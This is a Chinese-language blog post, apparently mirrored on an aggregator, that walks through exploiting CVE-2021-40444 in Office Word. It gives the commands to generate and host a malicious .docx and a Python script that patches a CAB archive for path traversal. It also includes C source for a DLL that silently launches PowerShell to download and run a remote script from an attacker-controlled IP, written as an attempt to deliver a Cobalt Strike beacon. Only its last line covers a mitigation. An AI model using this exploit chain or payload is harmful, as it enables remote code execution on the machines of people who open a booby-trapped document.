9

Office Word CVE-2021-40444

 3 years ago
source link: https://misakikata.github.io/2021/09/Office-Word-CVE-2021-40444/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

CVE-2021-40444

Office Word的一个1day,首先来复现一下使用,如果直接运行会显示CAB file建立时出错,需要先安装lacb。这里使用Tools老哥的一个方法,直接安装:

  1. wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gz
  2. tar zxvf lcab_1.0b12.orig.tar.gz
  3. cd lcab-1.0b12
  4. ./configure
  5. make
  6. sudo make install
  7. which lcab

使用项目地址:https://github.com/lockedbyte/CVE-2021-40444

利用文档中给出的方法执行:

  1. python3 exploit.py generate test/calc.dll http://192.168.111.130:5555

image-20210915103820898

  1. python3 exploit.py host 5555

image-20210915103914999

把在out文件夹下生成的document.docx拷贝到Windows下,此处的office2019,16.0.13929版本。运行docx文件,可以看到交互过程

image-20210915104537994

于是就可以弹出计算器
image-20210915104258300

从请求上看,有一个word.html文件,在srv目录下。打开查看,OK 看不懂。。。看样子是做了混淆?不过任然可以依稀看到ActiveXObject,这个大概跟利用ActiveX控件有关。

image-20210915105543173

可以来美化一下,虽然依旧看不懂就是。不过从中间大概可以看到几个关键点,XMLHttpRequest发起的请求,地址为http://192.168.111.130:5555/word.cab。所以这个cab文件才是真正执行的文件?

利用7z打开这个cab文件,文件标头为4D 53 43 46,虽然这个文件只有224K,但是里面有一个名为msword.inf的文件,大小为1G左右。这不太对。这个文件也在上面的js中提到过,所以大概是需要解压出来,想办法提取一下这个文件。

image-20210915112956403

该文件是Windows的压缩格式,一般是作为安装包文件。利用Kali下的cabextract来解压。没有的话直接安装就行。

  1. cabextract --list word.cab

执行报错,这个文件不能正常解压提取,说明不是一个正经的cab文件。看一下python的处理代码

image-20210915120544407

可以发现其实msword.inf就是word.dll。这个dll文件就是一开始传入的calc.dll重命名来的。后面用lcab来生成cab文件,然后用函数patch_cab来处理这个cab文件。这么我们先把这个处理前生成的cab文件保存一下。

  1. execute_cmd('lcab out.cab out2.cab')

获取到out2.cab,这个文件可以正常解压查看,所以我们先尝试是否能自己生成一个cab文件,利用dll来转换。

用cobaltstrike生成一个DLL文件,按照转换方式来处理一下。先改个名字,此处用的beacon作为名字,那么word.html中也要做相应的修改。或者把名字改为msword。

image-20210915141049112

然后需要patch一下,原项目中存在patch脚本,修改为类似如下:

  1. #!/usr/bin/env python3
  2. # Patch cab file
  3. m_off = 0x2d
  4. f = open('./beacon.cab','rb')
  5. cab_data = f.read()
  6. f.close()
  7. out_cab_data = cab_data[:m_off]
  8. out_cab_data += b'\x00\x5c\x41\x00'
  9. out_cab_data += cab_data[m_off+4:]
  10. out_cab_data = out_cab_data.replace(b'..\\beacon.inf', b'../beacon.inf')
  11. f = open('./beacon2.cab','wb')
  12. f.write(out_cab_data)
  13. f.close()

但是在执行过程中并没有上线,不确定原因,可能是DLL的问题?CS生成的DLL不能直接拿来用?

使用C代码编译生成一个DLL,利用如下代码,编译执行即可。

  1. #include <windows.h>
  2. void exec(void) {
  3. system("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.111.130:80/a'))\"");
  4. return;
  5. }
  6. BOOL WINAPI DllMain(
  7. HINSTANCE hinstDLL,
  8. DWORD fdwReason,
  9. LPVOID lpReserved )
  10. {
  11. switch( fdwReason )
  12. {
  13. case DLL_PROCESS_ATTACH:
  14. exec();
  15. break;
  16. case DLL_THREAD_ATTACH:
  17. break;
  18. case DLL_THREAD_DETACH:
  19. break;
  20. case DLL_PROCESS_DETACH:
  21. break;
  22. }
  23. return TRUE;
  24. }
  1. apt-get install gcc-mingw-w64
  2. i686-w64-mingw32-gcc -shared beacon.c -o beacon.dll

把文件放到test目录下,执行上面的命令。

image-20210915161830711

这个是利用ActiveX控件来执行的,而这个控件只有IE支持,到IE的选项-安全中,自定义安全级别,在运行ActiveX控件和插件选项中选择禁用。

参考地址:

https://github.com/lockedbyte/CVE-2021-40444

https://www.t00ls.cc/thread-62682-1-1.html

https://mp.weixin.qq.com/s/hjjLKQCiaVUKWOw1jzQE9A


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK